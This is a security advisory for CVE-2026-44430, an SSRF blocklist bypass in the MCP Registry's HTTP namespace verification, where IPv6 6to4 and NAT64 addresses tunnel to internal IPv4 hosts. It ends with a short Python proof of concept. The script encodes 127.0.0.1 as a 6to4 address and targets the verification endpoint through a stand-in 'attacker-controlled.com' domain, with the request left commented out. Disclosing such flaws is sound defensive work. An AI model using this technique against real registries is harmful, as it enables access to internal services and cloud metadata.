Security Vulnerability Report
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CVE-2026-44430 CVSS 4.0 MEDIUM

CVE-2026-44430

Published: 2026-05-14 21:16:47
Last Modified: 2026-05-15 19:17:00

Description

The MCP Registry provides MCP clients with a list of MCP servers, like an app store for MCP servers. Prior to 1.7.7, the Registry's HTTP-based namespace verification (POST /v0/auth/http, POST /v0.1/auth/http) uses safeDialContext (internal/api/handlers/v0/auth/http.go:67-110) to refuse dialling private/internal addresses when fetching the well-known public-key file from a publisher-supplied domain. The blocklist (isBlockedIP, lines 125-133) relies entirely on Go stdlib's IsLoopback / IsPrivate / IsLinkLocalUnicast / IsMulticast / IsUnspecified plus a manual CGNAT range. None of these cover IPv6 6to4 (2002::/16), NAT64 (64:ff9b::/96 and 64:ff9b:1::/48 per RFC 8215), or deprecated site-local (fec0::/10) β€” all of which encode arbitrary IPv4 in the address bits and tunnel to RFC1918 / cloud-metadata services on dual-stack / NAT64-enabled hosts. This vulnerability is fixed in 1.7.7.

CVSS Details

CVSS Score
4.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:lfprojects:mcp_registry:*:*:*:*:*:*:*:* - VULNERABLE
MCP Registry < 1.7.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 import requests import struct import socket # Convert IPv4 to IPv6 6to4 address def ipv4_to_6to4(ipv4): packed = socket.inet_aton(ipv4) return f"2002:{packed[0]:02x}{packed[1]:02x}:{packed[2]:02x}{packed[3]:02x}::1" # Target internal IP (e.g., localhost or cloud metadata) target_ipv4 = "127.0.0.1" malicious_ipv6 = ipv4_to_6to4(target_ipv4) # The vulnerable endpoint url = "http://target-registry-url/v0/auth/http" # Payload pointing to a domain controlled by attacker, # resolving to the malicious IPv6 payload = { "domain": "attacker-controlled.com", # In a real scenario, the attacker's DNS server would return 'malicious_ipv6' for this domain. } print(f"[+] Generated Malicious IPv6: {malicious_ipv6}") print(f"[+] Attempting to send request to {url}...") # Note: This demonstrates the concept. # The actual exploit requires DNS manipulation to make 'attacker-controlled.com' # resolve to the generated IPv6 address. # response = requests.post(url, json=payload) # print(response.text)

References

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